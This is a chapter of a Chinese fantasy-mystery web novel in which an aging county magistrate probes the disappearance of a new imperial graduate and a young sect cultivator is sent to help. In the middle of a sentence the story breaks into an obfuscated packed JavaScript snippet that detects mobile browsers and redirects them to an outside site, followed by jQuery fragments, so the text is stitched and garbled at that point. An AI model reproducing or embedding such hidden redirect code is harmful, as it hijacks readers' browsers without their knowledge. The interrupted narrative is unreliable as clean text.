21. 失踪
作品:《归来晚》 时近夜半,月色笼罩下的湖州府一片祥和静谧,唯其辖下的平宁县衙正堂仍灯火通明,知县陈砚亭俯身案前,满是霜白的头顶深埋在两排摞成小山似的卷宗间久久没有抬起。
直到比他还老的主簿提着食盒轻唤两声,满腹愁肠的陈知县才茫茫然一抬首,恰对上烛火映衬下一张极惨白枯皱的脸,三魂霎时丢了七魄,他回过神长呼一口气埋怨道:“老韩啊,你能不能别把脑袋凑灯那么近?还当自己是貌比潘安的风流少年呢,大半夜的你睁那么大眼睛做什么?是不是想把我吓死,好早日继承我藏在床底的私房钱!”
“你确定藏的是床底而不是鞋底?”老韩往旁挪开两步,呵呵一笑道,“就你那点儿私房够不够棺材本都两说,有什么值得我惦记的。”
陈知县嗤了一声,没再跟他斗嘴皮子,头一沉又去看那翻到一半的卷宗,简直就跟见了阳光就灿烂的向日葵一样,他目光一沾着字,那原本挂着些许笑意的脸顿时一片愁云惨淡。
“大人,”老韩叹了口气,将食盒往方桌上重重一磕,“你过了午就滴水未进,怎么着?铆足劲想为国捐躯好搏个‘鞠躬尽瘁、死而后已’的身后名?”见陈砚亭只是“唔”地应付一声,他加重口气又道,“不是韩某打击大人,案子不是一天办完的,何况这事儿又格外蹊跷......依我看,不如就按旧例报个‘走失’上去,也算有个交代。”
陈知县动作一顿,抬头看了他一眼。
老韩不自在地佯咳一声,心知这话他不爱听,但总要有人来说,如今这世道所谓真相并不重要,重要的是一层又一层的“向上交代”。
否则像陈砚亭这样学贯古今的人又怎么会在为官近二十载后归来仍是一个小小的七品知县。
陈知县向后一仰,活动了下僵硬得跟块板砖似的颈背肌肉,叹道:“这次不一样,老韩。我查遍了湖州府过去四十年的失踪案,除了后续确认尸身的共有六十二人,大多是平头百姓,剩下的也无外乎员外商贾之流,但这次失踪者是本届二甲登科的进士,天子门生!朝廷那边绝不会接受‘走失’这个结论,”他自嘲一笑,“孙知府日前特地传书叮嘱我‘用心’办案,便可见一斑。更何况,一个新科进士无故离家出走,你敢信我都不敢说!”
老韩点点头,将热了三遍的饭菜从食盒中铺摆出来:“那倒也是。不过你再这么熬下去,天子只怕很快又要少一个门生了。别把自己的命不当命,我的陈大人。”他叹口气,“就算不为自己和这县衙上下一众考虑,也多想想家里的八十老母和王府那个小姑娘吧。”
打蛇打七寸。
陈知县少年登科入仕,也曾打马御前街、谈笑琼林宴,但如今已近知天命之年却仍未成家,生活上更是简朴到了苛刻的地步——若非尚有这两根线拴着他,老韩甚至觉得陈砚亭哪天道袍一披挥手离去他也不会有半点惊讶。
陈知县一听这话,果然从那仿佛对他有吸力的案前撑身站起,他神经一松便觉出饿来,边风卷残云地进食边絮叨道:“这阵子忙昏了头,也不知瑶儿最近过得如何?天马上就冷了,这个年纪的孩子长得快,去年的棉衣估计不合身了,潞王府也不一定舍得给丫鬟用好棉,记得提醒我得空去置办一身新衣拿给她。”
老韩笑道:“哪里用得着我提醒。大人对那孩子的事儿一向比对谁都上心,若非知道她的身世,我都要怀疑她是不是你的私生女了。”
“咳咳......”陈知县呛了一口猛地咳嗽起来,好半晌才顺过气儿,骂道,“你这个老不正经的!”
老韩悻悻一笑:“大人何不干脆跟王爷直言相告?”他凑近陈知县将声音压得极低,“你这一两年也没少给他擦屁股,难道还不算自己人?从王府带个丫鬟出来这点儿小事难道王爷他还能不答应?”
“你不了解这位王爷,”陈知县斜他一眼道,“他‘疑人也用,用人也疑’,恨不能把手底下人祖宗八代的软肋都捏在掌心,他不知道瑶儿的来历,我尚可慢慢周旋,日后找机会赎她出来,若是让他晓得了......”说到这里,他摇着头“啧”了一声,狠狠啃下两口馒头含混道,“就只能指望这位王爷哪天谋逆倒台才有出路了。”
老韩重重叹了口气:“那行,那就还是老样子,我那姨母身体还算康健,左右在王府里再干个七八年不成问题,你就慢慢找路子吧。”
陈知县一点头,忽地又想起什么,话锋一转道:“对了,巡天司那边还没回信吗?”没等老韩说话,他便皱了眉,“这都快半个月了一点儿消息不给,到底是他们办事不力还是宗盟那边有心推诿?”
“巡天司那帮人尸位素餐也不是一天两天了,”老韩道,“从递上奏章到他们走完流程至少得十天半月,若非此案牵涉新科进士,像你这种位卑言轻又不知打点的小官递的文牒,估计得等到下辈子。”他略顿一下,牙疼似的“呲”了声,“此外还有一节赶巧的,听说宗盟弟子月前在云阙山被魔族埋伏,死伤惨重,尤以东南一带的宗门首当其冲,就算巡天司把你的奏疏送到天一宗,那边暂时也确实有可能抽不出人手......”
陈知县一愣:“还有此事?”见老韩点头,他长叹一声,“这可真是‘天要亡我,非战之罪’了。”
“多吃点,”老韩朝他推了推盘子,笑道,“好歹做个饱死鬼。”
一进八月便连下了三场雨,秋风渗着湿凉吹进县衙,后院的银杏叶簌簌而落。陈知县拎着新置的棉衣刚前脚进门,韩主簿就高举着一封官牒后脚冲进,险些没一下把他这副老骨头撞散!
“我说老韩啊,”陈知县按着腰,扶着门板艰难站直,咬牙切齿道,“我以前不信所谓命里的克星,但现在我信了,我这辈子十有八九是要折在你手里。”
老韩弯腰扶着膝,喘得跟连拉一夜磨盘的驴似的,他年纪实在大了,这样疾跑几乎能去掉他半条命,好一会儿那拉风箱般的喉咙才勉强挤出几个嘶哑的音:“信......宗盟......”
陈知县面色一凝,放下手中棉衣,接过文牒三下五除二拆开一目十行地看完,登时喜上眉梢:“宗盟那边受理了此案,天一宗副宗主承诺会尽早派修士下山协助探查!哎呀,老韩,你真是我命里的福星!”
他一把环住刚把气喘匀的老韩,猛一用劲,只听嘎巴一声,人没抱动,骨头动了。
还是他的骨头。
就怎么说呢......福不了一点儿。
老韩忙扶他坐下,见他无大碍才又言归正传:“皇天不负有心人,你辛辛苦苦大半月总算没白忙活,你一直怀疑本次新科进士失踪并非孤案,而是长达数十年的连环案,宗盟那边对此可有答复?”
“卫副宗主大致认同这一思路,”陈知县道,“但巡天司从未在失踪者最后出现之地附近测出灵息,所以她对是否为修士或邪祟所为未予置评,但无论如何,她愿遣宗盟修士下山已表明她也在怀疑,不是吗?”
“不错,”老韩点头道,“信上可有说人什么时候能到,还有是哪门哪派的弟子啊?”
“八月十五附近能到,门派么,”那名字有点拗口,陈知县又瞟了一眼才确认道,“叫‘澜绝门’,修士名叫江念桥,是个年轻的女弟子。”他说到这里,忽地一怔,盯着那个名字近似自言自语地喃喃道,“......也姓‘江’啊,真是巧。”
-
夜色如洗,星河低垂。
几场秋雨过后,草木间已听不到长长短短的虫鸣,风声穿过泛黄的叶片,发出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093311|195533||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沙沙的轻响。枯枝落叶燃起的橘红篝火一下一下地跳动着,照出两道颀长身影。
正是在苍墟境返山路上收到新任务而转道湖州府的江念桥,以及一位因宗盟术修门派一时间实在无人可调而主动请缨的散修——陆灵辄。
云阙山一行,本是沈雪杨力排众议为江念桥争取的一个将功折罪的机会,但没想到再遇魔族,导致百宗弟子死伤惨重,其中包括澜绝门簪星峰弟子苏淮。
虽这结局非江念桥一手造成,但她在面对傅明珏之时的所作所为绝不是宗盟乐见的选择,各门各派得知后都有可能借题发挥翻出六年前的那笔旧账,届时势必又是一场没有硝烟的战争。
更何况就算百宗的人不率先发难,澜绝山内出了名眼里不揉沙子的盛霆也会第一个跳出来让她血债血偿。
徐长靖提前将下山之后的一切事无巨细加急传信给沈雪杨,他很快回了信,收到信的时候,他们正行至返回澜绝的半道,单独给她的信上只有两字,言简意赅到了极点:勿回。
随信附来的还有湖州府失踪一案的简述。
“......你是说,”江念桥拨弄火堆的手臂僵在半空,一时间甚至怀疑她的耳朵是不是出了毛病,不可置信地艰涩道,“那只鸟......是何来何往岛的长老?”
何来何往岛是位于西海上的一片方外之地,相传一千多年前,封朝太宗皇帝命其麾下二十四近卫组成长老团,精心从全国挑选各个等级不同职业的子民穿陆渡海,为太祖皇帝秘密修建地下陵寝,自此那批人就以为太祖守灵的名义永远留在了那座岛上。
它由一组大小不一的群岛组成,面积辽阔、物资丰富,天然易守难攻。随着封氏王朝的覆灭,岛民与东陆往来渐稀,数百年间几乎已变成一个自给自足的、桃花源般的存在。
以长老团为首的岛上修士多为术修,中间出过很多震世之人,是东陆武修颇为忌惮的存在,但因其从无踏足东陆的野心,所以和百宗、南北疆也向来各自为政,度过了相安无事的千年。
值得一提的是,七十年前的东征之战中,时任天一宗宗主的段若虹在百宗败如山倒的境况下,曾主动渡海至岛,与当时的大长老密谈一夜,终于说服对方打破千年来何来何往不入世的禁忌,成为东陆百宗最强大而可靠的盟友。
但东征一战结束不久,何来何往又恢复了那种隔岸袖手的姿态。
“是的,”陆灵辄淡笑着一颔首,“他姓孟名蹇之,就是靠他灵力外化的灵石,我才能启动九玄流影的逆阵,当然了,后面的万矢天诛阵也是如此。”
江念桥:“......”
她对这位孟长老亦有耳闻,何来何往岛从上至下等级分明,除长老团需各大世家子弟竞争上位,其余岛民皆子承父业。
孟蹇之身为木工之子,出身低贱,但却被当时的大长老破格收为亲传弟子,短短几年便一跃成为公认的下任大长老的不二人选,其经历不可谓不传奇。
只是后来不知为何销声匿迹许久,大长老位因此旁落,不过从各方面来看他在岛上的地位尊崇并不亚于大长老,是位无冕之王。
如果她没猜错的话,孟蹇之之所以能化身鸟雀,用的正是与灵力外化所对应的“灵识外化”,但这几乎超出了她的理解范围,因为即便是像沈雪杨这种精神力强横的修士能做到的灵识外化也只能将灵识附在灵器上,不能太远——一般在几丈之内——更不能太久,以至于她以一直觉得这玩意儿相当鸡肋,不学也罢。
但何来何往距苍墟境何止万里之遥!
江念桥脑海中浮现出那只叽叽喳喳的小黄鹂,一时间震惊得说不出话来——无论是字面意思还是引申含义,他都真正做到了......非人哉!

